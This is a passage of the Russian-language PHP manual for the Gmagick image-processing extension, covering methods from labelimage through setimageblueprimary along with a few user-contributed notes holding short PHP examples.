Создаёт новое изображение, которое является копией существующего с пикселями, "сжатыми" на указанный процент.

Список параметров

radius

Радиус сжатия.

Возвращаемые значения

Возвращает сжатый объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет метку к изображению

  • « Gmagick::implodeimage
  • Gmagick::levelimage »
  • PHP Manual
  • Gmagick
  • Добавляет метку к изображению

Gmagick::labelimage

(PECL gmagick >= Unknown)

Gmagick::labelimage — Добавляет метку к изображению

Описание

public Gmagick::labelimage(string $label): mixed

Добавляет метку к изображению.

Список параметров

label

Метка, которую необходимо добавить

Возвращаемые значения

Gmagick с меткой.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Регулирует уровни изображения

  • « Gmagick::labelimage
  • Gmagick::magnifyimage »
  • PHP Manual
  • Gmagick
  • Регулирует уровни изображения

Gmagick::levelimage

(PECL gmagick >= Unknown)

Gmagick::levelimage — Регулирует уровни изображения

Описание

public Gmagick::levelimage(
float $blackPoint,
float $gamma,
float $whitePoint,
int $channel = Gmagick::CHANNEL_DEFAULT
): mixed

Регулирует уровни изображения, масштабируя цвета, попадающие между указанными белыми и чёрными точками, до полного доступного квантового диапазона. Предоставленные параметры представляют собой чёрные, средние и белые точки. Чёрная точка указывает на самый тёмный цвет изображения. Цвета темнее точки чёрного устанавливаются на ноль. Средняя точка определяет гамма-коррекцию, применяемую к изображению. Белая точка определяет самый светлый цвет изображения. Цвета ярче точки белого устанавливаются на максимальное квантовое значение.

Список параметров

blackPoint

Чёрная точка изображения.

gamma

Значение гаммы.

whitePoint

Белая точка изображения.

channel

Укажите любую константу канала, которая действительна для вашего режима канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к списку констант канала.

Возвращаемые значения

Объект Gmagick с выровненным изображением.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Пропорционально масштабирует изображение в 2 раза

  • « Gmagick::levelimage
  • Gmagick::mapimage »
  • PHP Manual
  • Gmagick
  • Пропорционально масштабирует изображение в 2 раза

Gmagick::magnifyimage

(PECL gmagick >= Unknown)

Gmagick::magnifyimage — Пропорционально масштабирует изображение в 2 раза

Описание

public Gmagick::magnifyimage(): mixed

Масштабирует изображение пропорционально двойному исходному размеру.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Увеличенный объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Заменяет цвета изображения на ближайший цвет из эталонного изображения

  • « Gmagick::magnifyimage
  • Gmagick::medianfilterimage »
  • PHP Manual
  • Gmagick
  • Заменяет цвета изображения на ближайший цвет из эталонного изображения

Gmagick::mapimage

(PECL gmagick >= Unknown)

Gmagick::mapimage — Заменяет цвета изображения на ближайший цвет из эталонного изображения

Описание

public Gmagick::mapimage(gmagick $gmagick, bool $dither): Gmagick

Заменяет цвета изображения на ближайший цвет из эталонного изображения.

Список параметров

gmagick

Эталонное изображение.

dither

Установите для этого целого числа значение, отличное от нуля, чтобы размыть отображаемое изображение.

Возвращаемые значения

Объект Gmagick.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Применяет цифровой фильтр

  • « Gmagick::mapimage
  • Gmagick::minifyimage »
  • PHP Manual
  • Gmagick
  • Применяет цифровой фильтр

Gmagick::medianfilterimage

(PECL gmagick >= Unknown)

Gmagick::medianfilterimage — Применяет цифровой фильтр

Описание

public Gmagick::medianfilterimage(float $radius): void

Применяет цифровой фильтр, улучшающий качество зашумлённого изображения. Каждый пиксель заменяется медианой в наборе соседних пикселей, определяемых радиусом.

Список параметров

radius

Радиус окрестности пикселя.

Возвращаемые значения

Объект Gmagick с применённым медианным фильтром.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

jeff at arizonacoders dot com 12-Mar-2015 09:40
For people like me who like a quick reference, the filters are:

FILTER_UNDEFINED => UndefinedFilter
FILTER_POINT => PointFilter
FILTER_BOX => BoxFilter
FILTER_TRIANGLE => TriangleFilter
FILTER_HERMITE => HermiteFilter
FILTER_HANNING => HanningFilter
FILTER_HAMMING => HammingFilter
FILTER_BLACKMAN => BlackmanFilter
FILTER_GAUSSIAN => GaussianFilter
FILTER_QUADRATIC => QuadraticFilter
FILTER_CUBIC => CubicFilter
FILTER_CATROM => CatromFilter
FILTER_MITCHELL => MitchellFilter
FILTER_LANCZOS => LanczosFilter
FILTER_BESSEL => BesselFilter
FILTER_SINC => SincFilter

Ref: https://github.com/vitoc/gmagick/blob/master/gmagick_helpers.c


Масштабирует изображение пропорционально половине его размера

  • « Gmagick::medianfilterimage
  • Gmagick::modulateimage »
  • PHP Manual
  • Gmagick
  • Масштабирует изображение пропорционально половине его размера

Gmagick::minifyimage

(PECL gmagick >= Unknown)

Gmagick::minifyimage — Масштабирует изображение пропорционально половине его размера

Описание

public Gmagick::minifyimage(): Gmagick

Метод масштабирования изображения пропорционально половине исходного размера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Управляет яркостью, насыщенностью и оттенком

  • « Gmagick::minifyimage
  • Gmagick::motionblurimage »
  • PHP Manual
  • Gmagick
  • Управляет яркостью, насыщенностью и оттенком

Gmagick::modulateimage

(PECL gmagick >= Unknown)

Gmagick::modulateimage — Управляет яркостью, насыщенностью и оттенком

Описание

public Gmagick::modulateimage(float $brightness, float $saturation, float $hue): Gmagick

Позволяет управлять яркостью, насыщенностью и оттенком изображения. Оттенок - это процент абсолютного поворота от текущей позиции. Например, значение 50 приводит к повороту против часовой стрелки на 90 градусов, 150 приводит к повороту по часовой стрелке на 90 градусов, значения 0 и 200 приводят к повороту на 180 градусов.

Список параметров

brightness

Изменение яркости в процентах (от -100 до +100).

saturation

Процентное изменение насыщенности (от -100 до +100)

hue

Процент изменения оттенка (от -100 до +100)

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Имитирует размытие при движении

  • « Gmagick::modulateimage
  • Gmagick::newimage »
  • PHP Manual
  • Gmagick
  • Имитирует размытие при движении

Gmagick::motionblurimage

(PECL gmagick >= Unknown)

Gmagick::motionblurimage — Имитирует размытие при движении

Описание

public Gmagick::motionblurimage(float $radius, float $sigma, float $angle): Gmagick

Имитирует размытие при движении. Сворачивает изображение с помощью гауссовского оператора заданного радиуса и стандартного отклонения (sigma). Для получения приемлемых результатов radius должен быть больше sigma. При использовании значения radius, равного 0, Gmagick::motionblurimage() выберет для вас подходящий радиус. Параметр angle задаёт угол размытия движения.

Список параметров

radius

Радиус в пикселях, не считая центрального пикселя.

sigma

Стандартное отклонение в пикселях.

angle

Угол, под которым применяется эффект.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение

  • « Gmagick::motionblurimage
  • Gmagick::nextimage »
  • PHP Manual
  • Gmagick
  • Создаёт новое изображение

Gmagick::newimage

(PECL gmagick >= Unknown)

Gmagick::newimage — Создаёт новое изображение

Описание

public Gmagick::newimage(
int $width,
int $height,
string $background,
string $format = ?
): Gmagick

Создаёт новое изображение с указанным фоновым цветом.

Список параметров

width

Ширина нового изображения.

height

Высота нового изображения.

background

Цвет фона, используемый для этого изображения в виде числа с плавающей точкой.

format

Формат изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

evitceted 07-Oct-2019 11:05
To create a png with the transparent background:
newimage(width, height, "transparent", "png")


Осуществляет переход к следующему изображению

  • « Gmagick::newimage
  • Gmagick::normalizeimage »
  • PHP Manual
  • Gmagick
  • Осуществляет переход к следующему изображению

Gmagick::nextimage

(PECL gmagick >= Unknown)

Gmagick::nextimage — Осуществляет переход к следующему изображению

Описание

public Gmagick::nextimage(): bool

Связывает следующее изображение в списке изображений с объектом Gmagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Повышает контрастность цветного изображения

  • « Gmagick::nextimage
  • Gmagick::oilpaintimage »
  • PHP Manual
  • Gmagick
  • Повышает контрастность цветного изображения

Gmagick::normalizeimage

(PECL gmagick >= Unknown)

Gmagick::normalizeimage — Повышает контрастность цветного изображения

Описание

public Gmagick::normalizeimage(int $channel = ?): Gmagick

Повышает контрастность цветного изображения, регулируя цвет пикселей для охвата всего диапазона доступных цветов.

Список параметров

channel

Определяет, какой канал нормализовать.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Имитирует эффект картины маслом

  • « Gmagick::normalizeimage
  • Gmagick::previousimage »
  • PHP Manual
  • Gmagick
  • Имитирует эффект картины маслом

Gmagick::oilpaintimage

(PECL gmagick >= Unknown)

Gmagick::oilpaintimage — Имитирует эффект картины маслом

Описание

public Gmagick::oilpaintimage( float $radius ): Gmagick

Применяет фильтр со специальным эффектом, имитирующий картину маслом. Каждый пиксель заменяется наиболее часто встречающимся цветом в круговой области, определяемой радиусом.

Список параметров

radius

Радиус круговой окрестности.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Осуществляет переход к предыдущему изображению в объекте

  • « Gmagick::oilpaintimage
  • Gmagick::profileimage »
  • PHP Manual
  • Gmagick
  • Осуществляет переход к предыдущему изображению в объекте

Gmagick::previousimage

(PECL gmagick >= Unknown)

Gmagick::previousimage — Осуществляет переход к предыдущему изображению в объекте

Описание

public Gmagick::previousimage(): bool

Связывает предыдущее изображение в списке изображений с объектом Gmagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет или удаляет профиль из изображения

  • « Gmagick::previousimage
  • Gmagick::quantizeimage »
  • PHP Manual
  • Gmagick
  • Добавляет или удаляет профиль из изображения

Gmagick::profileimage

(PECL gmagick >= Unknown)

Gmagick::profileimage — Добавляет или удаляет профиль из изображения

Описание

public Gmagick::profileimage(string $name, string $profile): Gmagick

Добавляет или удаляет ICC, IPTC или общий профиль из изображения. Если значение profile равно null, профиль удаляется из изображения, в противном случае добавляется. Используйте значение * для параметра name и null для параметра profile, чтобы удалить все профили из изображения.

Список параметров

name

Имя профиля, который нужно добавить или удалить: ICC, IPTC или общий профиль.

profile

Профиль.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Анализирует цвета эталонного изображения

  • « Gmagick::profileimage
  • Gmagick::quantizeimages »
  • PHP Manual
  • Gmagick
  • Анализирует цвета эталонного изображения

Gmagick::quantizeimage

(PECL gmagick >= Unknown)

Gmagick::quantizeimage — Анализирует цвета эталонного изображения

Описание

public Gmagick::quantizeimage(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick

Анализирует цвета в эталонном изображении и выбирает фиксированное количество цветов для представления изображения. Целью алгоритма является минимизация разницы в цвете между входным и выходным изображением при минимизации времени обработки.

Список параметров

numColors

Количество цветов.

colorspace

Цветовое пространство, в котором выполнится уменьшение цвета, обычно RGB.

treeDepth

Обычно это целое значение равно нулю или единице. Ноль или единица указывает Quantize выбрать оптимальную глубину дерева Log4(number_colors). Дерево этой глубины обычно обеспечивает наилучшее представление эталонного изображения с наименьшим объёмом памяти и максимальной скоростью вычислений. В некоторых случаях, например для изображения с низкой цветовой дисперсией (несколько цветов), требуется значение, отличное от Log4(number_colors). Чтобы полностью развернуть дерево цветов, используйте значение 8.

dither

Значение, отличное от нуля, распределяет разницу между исходным изображением и соответствующим алгоритмом уменьшения цвета на соседние пиксели вдоль кривой Гильберта.

measureError

Значение, отличное от нуля, измеряет разницу между исходным и квантованным изображениями. Эта разница составляет полную ошибку квантования. Ошибка вычисляется путём суммирования по всем пикселям изображения квадрата расстояния в пространстве RGB между значением каждого эталонного пикселя и его квантованным значением.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Анализирует цвета в последовательности изображений

  • « Gmagick::quantizeimage
  • Gmagick::queryfontmetrics »
  • PHP Manual
  • Gmagick
  • Анализирует цвета в последовательности изображений

Gmagick::quantizeimages

(PECL gmagick >= Unknown)

Gmagick::quantizeimages — Анализирует цвета в последовательности изображений

Описание

public Gmagick::quantizeimages(
int $numColors,
int $colorspace,
int $treeDepth,
bool $dither,
bool $measureError
): Gmagick

Анализирует цвета в последовательности изображений и выбирает фиксированное количество цветов для представления изображения. Целью алгоритма является минимизация разницы в цвете между входным и выходным изображением при минимизации времени обработки.

Список параметров

numColors

Количество цветов.

colorspace

Цветовое пространство, в котором выполнится уменьшение цвета, обычно RGB.

treeDepth

Обычно это целое значение равно нулю или единице. Ноль или единица указывает Quantize выбрать оптимальную глубину дерева Log4(number_colors). Дерево этой глубины обычно обеспечивает наилучшее представление эталонного изображения с наименьшим объёмом памяти и максимальной скоростью вычислений. В некоторых случаях, например для изображения с низкой цветовой дисперсией (несколько цветов), требуется значение, отличное от Log4(number_colors). Чтобы полностью развернуть дерево цветов, используйте значение 8.

dither

Значение, отличное от нуля, распределяет разницу между исходным изображением и соответствующим алгоритмом уменьшения цвета на соседние пиксели вдоль кривой Гильберта.

measureError

Значение, отличное от нуля, измеряет разницу между исходным и квантованным изображениями. Эта разница составляет полную ошибку квантования. Ошибка вычисляется путём суммирования по всем пикселям изображения квадрата расстояния в пространстве RGB между значением каждого эталонного пикселя и его квантованным значением.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, представляющий метрики шрифта

  • « Gmagick::quantizeimages
  • Gmagick::queryfonts »
  • PHP Manual
  • Gmagick
  • Возвращает массив, представляющий метрики шрифта

Gmagick::queryfontmetrics

(PECL gmagick >= Unknown)

Gmagick::queryfontmetrics — Возвращает массив, представляющий метрики шрифта

Описание

public Gmagick::queryfontmetrics(GmagickDraw $draw, string $text): array

Возвращает массив, представляющий метрики шрифта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает настроенные шрифты

  • « Gmagick::queryfontmetrics
  • Gmagick::queryformats »
  • PHP Manual
  • Gmagick
  • Возвращает настроенные шрифты

Gmagick::queryfonts

(PECL gmagick >= Unknown)

Gmagick::queryfonts — Возвращает настроенные шрифты

Описание

public Gmagick::queryfonts(string $pattern = "*"): array

Возвращает шрифты, поддерживаемые Gmagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

Mathew Oransky 02-Nov-2009 06:39
An example of how to get the fonts available.
<?php
$image = new Gmagick();
$fonts = $image->queryfonts();
foreach($fonts as $font){
  echo $font."\n";
}
?>


Возвращает форматы, поддерживаемые Gmagick

  • « Gmagick::queryfonts
  • Gmagick::radialblurimage »
  • PHP Manual
  • Gmagick
  • Возвращает форматы, поддерживаемые Gmagick

Gmagick::queryformats

(PECL gmagick >= Unknown)

Gmagick::queryformats — Возвращает форматы, поддерживаемые Gmagick

Описание

public Gmagick::queryformats(string $pattern = "*"): array

Возвращает форматы, поддерживаемые Gmagick.

Список параметров

pattern

Задаёт строку (string), содержащую шаблон.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Применяет радиальное размытие к изображению

  • « Gmagick::queryformats
  • Gmagick::raiseimage »
  • PHP Manual
  • Gmagick
  • Применяет радиальное размытие к изображению

Gmagick::radialblurimage

(PECL gmagick >= Unknown)

Gmagick::radialblurimage — Применяет радиальное размытие к изображению

Описание

public Gmagick::radialblurimage(float $angle, int $channel = Gmagick::CHANNEL_DEFAULT): Gmagick

Применяет радиальное размытие к изображению.

Список параметров

angle

Угол размытия в градусах.

channel

Связанный канал.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт имитацию эффекта трёхмерной кнопки

  • « Gmagick::radialblurimage
  • Gmagick::read »
  • PHP Manual
  • Gmagick
  • Создаёт имитацию эффекта трёхмерной кнопки

Gmagick::raiseimage

(PECL gmagick >= Unknown)

Gmagick::raiseimage — Создаёт имитацию эффекта трёхмерной кнопки

Описание

public Gmagick::raiseimage(
int $width,
int $height,
int $x,
int $y,
bool $raise
): Gmagick

Создаёт имитацию эффекта трёхмерной кнопки, осветляя и затемняя края изображения. Ширина и высота элементов raise_info определяют ширину вертикального и горизонтального края эффекта.

Список параметров

width

Ширина области, которую нужно поднять.

height

Высота поднимаемой площади.

x

Координата X.

y

Координата Y.

raise

Значение, отличное от нуля, создаёт эффект трёхмерного возвышения, в противном случае - эффект понижения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Читает изображение из файла

  • « Gmagick::raiseimage
  • Gmagick::readimage »
  • PHP Manual
  • Gmagick
  • Читает изображение из файла

Gmagick::read

(PECL gmagick >= Unknown)

Gmagick::read — Читает изображение из файла

Описание

public Gmagick::read(string $filename): Gmagick

Читает изображение из файла.

Список параметров

filename

Имя файла.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Читает изображение из файла

  • « Gmagick::read
  • Gmagick::readimageblob »
  • PHP Manual
  • Gmagick
  • Читает изображение из файла

Gmagick::readimage

(PECL gmagick >= Unknown)

Gmagick::readimage — Читает изображение из файла

Описание

public Gmagick::readimage(string $filename): Gmagick

Читает изображение из файла.

Список параметров

filename

Имя файла.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Читает изображение из бинарной строки

  • « Gmagick::readimage
  • Gmagick::readimagefile »
  • PHP Manual
  • Gmagick
  • Читает изображение из бинарной строки

Gmagick::readimageblob

(PECL gmagick >= Unknown)

Gmagick::readimageblob — Читает изображение из бинарной строки

Описание

public Gmagick::readimageblob(string $imageContents, string $filename = ?): Gmagick

Читает изображение из бинарной строки.

Список параметров

imageContents

Контент изображения.

filename

Имя файла изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

MPLong 28-Jun-2010 11:29
If you want to be able to do the opposite (output your gmagick object to a blob), then use getImageBlob() like this:

$outputstring = $im->getImageBlob();

This is apparently undocumented here, but since the entire library is ported/modeled on the imagemagick library, it makes sense that it uses the same name as imagemagick.


Читает изображение или последовательность изображений из файлового дескриптора

  • « Gmagick::readimageblob
  • Gmagick::reducenoiseimage »
  • PHP Manual
  • Gmagick
  • Читает изображение или последовательность изображений из файлового дескриптора

Gmagick::readimagefile

(PECL gmagick >= Unknown)

Gmagick::readimagefile — Читает изображение или последовательность изображений из файлового дескриптора

Описание

public Gmagick::readimagefile(resource $fp, string $filename = ?): Gmagick

Читает изображение или последовательность изображений из файлового дескриптора.

Список параметров

fp

Дескриптор файла.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сглаживает контуры изображения

  • « Gmagick::readimagefile
  • Gmagick::removeimage »
  • PHP Manual
  • Gmagick
  • Сглаживает контуры изображения

Gmagick::reducenoiseimage

(PECL gmagick >= Unknown)

Gmagick::reducenoiseimage — Сглаживает контуры изображения

Описание

public Gmagick::reducenoiseimage(float $radius): Gmagick

Сглаживает контуры изображения, сохраняя при этом информацию о краях. Алгоритм работает, заменяя каждый пиксель ближайшим по значению соседом. Сосед определяется значением radius. Используйте значение radius, равное 0, и Gmagick::reducenoiseimage() выберет для вас подходящий радиус.

Список параметров

radius

Радиус окрестности пикселя.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет изображение из списка

  • « Gmagick::reducenoiseimage
  • Gmagick::removeimageprofile »
  • PHP Manual
  • Gmagick
  • Удаляет изображение из списка

Gmagick::removeimage

(PECL gmagick >= Unknown)

Gmagick::removeimage — Удаляет изображение из списка

Описание

public Gmagick::removeimage(): Gmagick

Удаляет изображение из списка.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет именованный профайл изображения и возвращает его

  • « Gmagick::removeimage
  • Gmagick::resampleimage »
  • PHP Manual
  • Gmagick
  • Удаляет именованный профайл изображения и возвращает его

Gmagick::removeimageprofile

(PECL gmagick >= Unknown)

Gmagick::removeimageprofile — Удаляет именованный профайл изображения и возвращает его

Описание

public Gmagick::removeimageprofile(string $name): string

Удаляет именованный профайл изображения и возвращает его.

Список параметров

name

Имя профайла: ICC, IPTC, или базовый профайл.

Возвращаемые значения

Именованный профайл.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет разрешение изображения до желаемого

  • « Gmagick::removeimageprofile
  • Gmagick::resizeimage »
  • PHP Manual
  • Gmagick
  • Изменяет разрешение изображения до желаемого

Gmagick::resampleimage

(PECL gmagick >= Unknown)

Gmagick::resampleimage — Изменяет разрешение изображения до желаемого

Описание

public Gmagick::resampleimage(
float $xResolution,
float $yResolution,
int $filter,
float $blur
): Gmagick

Изменяет разрешение изображения до желаемого.

Список параметров

xResolution

Новое разрешение по оси x.

yResolution

Новое разрешение по оси y.

filter

Фильтр изображений для использования.

blur

Коэффициент размытия, где больше значение больше 1 делает изображение более размытым, значение меньше 1 - менее размытым.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует изображение

  • « Gmagick::resampleimage
  • Gmagick::rollimage »
  • PHP Manual
  • Gmagick
  • Масштабирует изображение

Gmagick::resizeimage

(PECL gmagick >= Unknown)

Gmagick::resizeimage — Масштабирует изображение

Описание

public Gmagick::resizeimage(
int $width,
int $height,
int $filter,
float $blur,
bool $fit = false
): Gmagick

Масштабирует изображение до желаемых размеров с помощью фильтра.

Список параметров

width

Количество столбцов в масштабированном изображении.

height

Количество строк в масштабированном изображении.

filter

Фильтр изображений для использования.

blur

Коэффициент размытия, где больше значение больше 1 делает изображение более размытым, значение меньше 1 - менее размытым.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Смещает изображение

  • « Gmagick::resizeimage
  • Gmagick::rotateimage »
  • PHP Manual
  • Gmagick
  • Смещает изображение

Gmagick::rollimage

(PECL gmagick >= Unknown)

Gmagick::rollimage — Смещает изображение

Описание

public Gmagick::rollimage(int $x, int $y): Gmagick

Смещает изображение в соответствии с x и y.

Список параметров

x

Смещение по оси x.

y

Смещение по оси y.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Поворачивает изображение

  • « Gmagick::rollimage
  • Gmagick::scaleimage »
  • PHP Manual
  • Gmagick
  • Поворачивает изображение

Gmagick::rotateimage

(PECL gmagick >= Unknown)

Gmagick::rotateimage — Поворачивает изображение

Описание

public Gmagick::rotateimage(mixed $color, float $degrees): Gmagick

Поворачивает изображение на указанное количество градусов. Пустые треугольники, оставшиеся от поворота изображения, заполняются цветом фона.

Список параметров

color

Пиксель фона.

degrees

Число градусов для поворота изображения.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует размер изображения

  • « Gmagick::rotateimage
  • Gmagick::separateimagechannel »
  • PHP Manual
  • Gmagick
  • Масштабирует размер изображения

Gmagick::scaleimage

(PECL gmagick >= Unknown)

Gmagick::scaleimage — Масштабирует размер изображения

Описание

public Gmagick::scaleimage(int $width, int $height, bool $fit = false): Gmagick

Масштабирует размер изображения до заданных размеров. Другой параметр будет рассчитан, если в качестве любого из параметров будет передан 0.

Список параметров

width

Количество столбцов в масштабированном изображении.

height

Количество строк в масштабированном изображении.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

richard at computertech dot systems 26-Dec-2022 09:45
Its important to understand that the boolean flag : $FIT is used as a MAXIMUM boundary of either X or Y

If you use a physical image with a size of 128x256

 scaleImage(200, 100, true);  Will scale Y to 100 and X will be calculated
 scaleImage(100, 120, true);  Will scale X to 100 and Y will be calculated

$FIT is a LIMITER which is why it requires both an X and a Y for $FIT=true
support at yourmob dot net 07-Dec-2019 02:52
CORRECTION

Replace

echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';

With

echo '<img src="data:image/jpeg:base64,'.base64_encode($image).'">';
support at yourmob dot net 07-Dec-2019 02:32
Simple method to load an image from file, resize and display without writing to disk.
tested on jpg, gif and bmp
<?php
$image= new Gmagick( "yourimage.jpg");
$image->scaleimage(300,0);
echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';
$image->destroy();
?>


Отделяет канал от изображения

  • « Gmagick::scaleimage
  • Gmagick::setCompressionQuality »
  • PHP Manual
  • Gmagick
  • Отделяет канал от изображения

Gmagick::separateimagechannel

(PECL gmagick >= Unknown)

Gmagick::separateimagechannel — Отделяет канал от изображения

Описание

public Gmagick::separateimagechannel(int $channel): Gmagick

Отделяет канал от изображения и возвращает изображение в оттенках серого. Канал - это определённый цветовой компонент каждого пикселя изображения.

Список параметров

channel

Одна из констант канала (Gmagick::CHANNEL_*).

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает качество сжатия объекта по умолчанию

  • « Gmagick::separateimagechannel
  • Gmagick::setfilename »
  • PHP Manual
  • Gmagick
  • Устанавливает качество сжатия объекта по умолчанию

Gmagick::setCompressionQuality

(Информация о версии неизвестна, возможно, только в Git)

Gmagick::setCompressionQuality — Устанавливает качество сжатия объекта по умолчанию

Описание

Gmagick::setCompressionQuality( int $quality = 75 ): Gmagick

Устанавливает качество сжатия объекта по умолчанию.

Список параметров

quality

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Gmagick::setCompressionQuality()

<?php
$gm = new Gmagick();
$gm->read("magick:rose");
$gm->setCompressionQuality(2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя файла перед чтением или записью изображения

  • « Gmagick::setCompressionQuality
  • Gmagick::setimagebackgroundcolor »
  • PHP Manual
  • Gmagick
  • Устанавливает имя файла перед чтением или записью изображения

Gmagick::setfilename

(PECL gmagick >= Unknown)

Gmagick::setfilename — Устанавливает имя файла перед чтением или записью изображения

Описание

public Gmagick::setfilename(string $filename): Gmagick

Устанавливает имя файла перед чтением или записью изображения.

Список параметров

filename

Имя файла.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет фона изображения

  • « Gmagick::setfilename
  • Gmagick::setimageblueprimary »
  • PHP Manual
  • Gmagick
  • Устанавливает цвет фона изображения

Gmagick::setimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::setimagebackgroundcolor — Устанавливает цвет фона изображения

Описание

public Gmagick::setimagebackgroundcolor(GmagickPixel $color): Gmagick

Устанавливает цвет фона изображения.

Список параметров

color

Фоновая пиксельная палочка.

Возвращаемые значения

Объект Gmagick в случае успешного выполнения.

Ошибки

Вызывает GmagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цветность изображения голубой основной точкой

  • « Gmagick::setimagebackgroundcolor
  • Gmagick::setimagebordercolor »
  • PHP Manual
  • Gmagick
  • Устанавливает цветность изображения голубой основной точкой

Gmagick::setimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::setimageblueprimary — Устанавливает цветность изображения голубой основной точкой

Описание

public Gmagick::setimageblueprimary(float $x, float $y): Gmagick

Устанавливает цветность изображения голубой основной точкой.

Список параметров

x

